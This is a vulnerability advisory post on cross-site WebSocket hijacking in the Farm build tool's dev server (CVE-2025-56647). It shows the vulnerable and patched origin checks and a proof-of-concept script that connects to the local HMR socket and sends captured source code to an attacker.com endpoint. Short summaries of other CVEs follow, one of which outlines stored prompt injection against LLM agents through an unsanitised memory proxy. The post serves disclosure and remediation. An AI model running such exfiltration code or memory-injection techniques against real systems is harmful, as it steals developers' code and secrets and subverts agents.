Feb 13, 2026·5 min read·54 visits
The Farm build tool (versions < 1.7.6) leaves its HMR WebSocket wide open. If a developer visits a malicious site while their dev server is running, the site can connect to localhost, hijack the WebSocket, and steal source code in real-time as the developer saves files.
A critical flaw in the @farmfe/core build tool allows remote attackers to siphon source code directly from a developer's machine via Cross-Site WebSocket Hijacking (CSWSH). By failing to validate the Origin header during Hot Module Replacement (HMR) negotiation, Farm permits any website visited by a developer to connect to their local dev server and listen for code updates.
Modern web development is magical. You change a line of code, hit save, and your browser updates instantly without a full reload. This sorcery is called Hot Module Replacement (HMR). To make this happen, your build tool (in this case, Farm) spins up a local WebSocket server—usually on port 9000—that maintains a persistent connection to your browser. It sits there, eagerly waiting to push code updates the moment you touch a file.
But here is the catch: developers often assume that because a server is running on localhost, it is untouchable by the outside world. They treat 127.0.0.1 like a digital panic room.
CVE-2025-56647 turns that panic room into a glass house. The Farm development server failed to ask one simple question when a connection came knocking: "Who sent you?" Because of this polite negligence, any website you visit—yes, even that sketchy ad-laden recipe blog—can reach across the browser boundary, connect to your local Farm instance, and start harvesting your source code as you write it.
The vulnerability here is a textbook Cross-Site WebSocket Hijacking (CSWSH).
Web browsers implement the Same-Origin Policy (SOP) to prevent evil.com from reading data from bank.com via standard AJAX requests. However, WebSockets are a different beast. The WebSocket protocol specification explicitly allows cross-origin connections. It assumes the server is smart enough to check the Origin header during the handshake and decide whether to accept the connection.
Farm didn't do that.
When a browser (or a script running inside one) requests a WebSocket upgrade, it automatically sends an Origin header indicating where the request came from. A secure server looks at this and says, "Wait, why is http://shady-exploit-site.com trying to connect to my HMR service? Deny."
Farm's server, prior to version 1.7.6, essentially said, "Come on in!" It didn't validate the Origin header at all. It accepted connections from anywhere, effectively bypassing the only defense mechanism intended to prevent cross-site websocket attacks.
Let's look at the smoking gun in packages/core/src/server/ws.ts. The vulnerability existed in how the server handled the HTTP upgrade request.
The Vulnerable Code:
Previously, the server just checked if the URL matched the HMR path. It didn't care about the origin.
// BEFORE: Blindly accepting connections
private isHMRRequest(request: IncomingMessage): boolean {
return (
request.url === this.config.hmr.path &&
request.headers['sec-websocket-protocol'] === 'farm_hmr'
);
}The Fix (Commit 83342ef06e0aea37270950fd8c930422c4df0679):
The patch introduces a whitelist. The developers added logic to generate a list of allowed origins (typically just localhost and the machine's IP) and verify incoming requests against it.
// AFTER: Trust, but verify
private isHMRRequest(request: IncomingMessage): boolean {
return (
request.url === this.config.hmr.path &&
request.headers['sec-websocket-protocol'] === HMR_HEADER &&
// The critical fix:
this.hmrOrigins.includes(request.headers['origin'])
);
}This simple addition of this.hmrOrigins.includes(...) closes the loop. If the origin isn't on the list, the WebSocket handshake fails, and the attacker gets a generic 400 or 403 error instead of your intellectual property.
Exploiting this is terrifyingly simple. An attacker doesn't need to install malware on your machine. They just need you to visit a website while you are working.
Imagine you are building a proprietary trading algorithm. You have farm start running. You take a break and click a link to a "Top 10 Rust Tricks" article. Hidden on that page is the following JavaScript:
// The Attack Script
const socket = new WebSocket('ws://localhost:9000/__hmr', 'farm_hmr');
socket.onopen = () => {
console.log('Gotcha! Connected to local dev server.');
};
socket.onmessage = (event) => {
// This payload contains the code you just saved
const update = JSON.parse(event.data);
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(update)
});
};The Sequence of Events:
localhost:9000. The malicious site's origin is sent in the headers.Ctrl+S.Your proprietary code is now sitting in the attacker's database.
This isn't just about leaking a few lines of CSS. HMR updates often contain the full source content of the modified module.
If a developer is working on backend logic (via a backend-for-frontend pattern), editing configuration files containing API keys, or patching security vulnerabilities in their own app, that information is broadcasted immediately.
Furthermore, because this is a local service exposed to the web, it bypasses firewalls. Your corporate firewall protects you from inbound connections from the internet, but it doesn't stop your browser from making an outbound connection to localhost initiated by a third-party script. It exploits the trust relationship between the developer and their own machine.
The remediation is straightforward. If you are using @farmfe/core, check your package.json immediately.
Upgrade Path:
< 1.7.61.7.6 and above.Run the following to patch:
npm install @farmfe/core@latest
# or
pnpm update @farmfe/coreIf you cannot upgrade immediately, the only mitigation is paranoia: do not browse the internet while your dev server is running, or run your development environment inside a container (Docker/DevContainer) that does not expose the HMR port directly to the host's loopback interface without authentication.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@farmfe/core FarmFE | < 1.7.6 | 1.7.6 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1385 (Missing Origin Validation in WebSockets) |
| Attack Vector | Network (via Browser CSWSH) |
| CVSS | 6.5 (Medium) |
| EPSS Score | 0.00015 |
| Impact | Confidentiality (High) |
| Exploit Status | PoC Available |
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.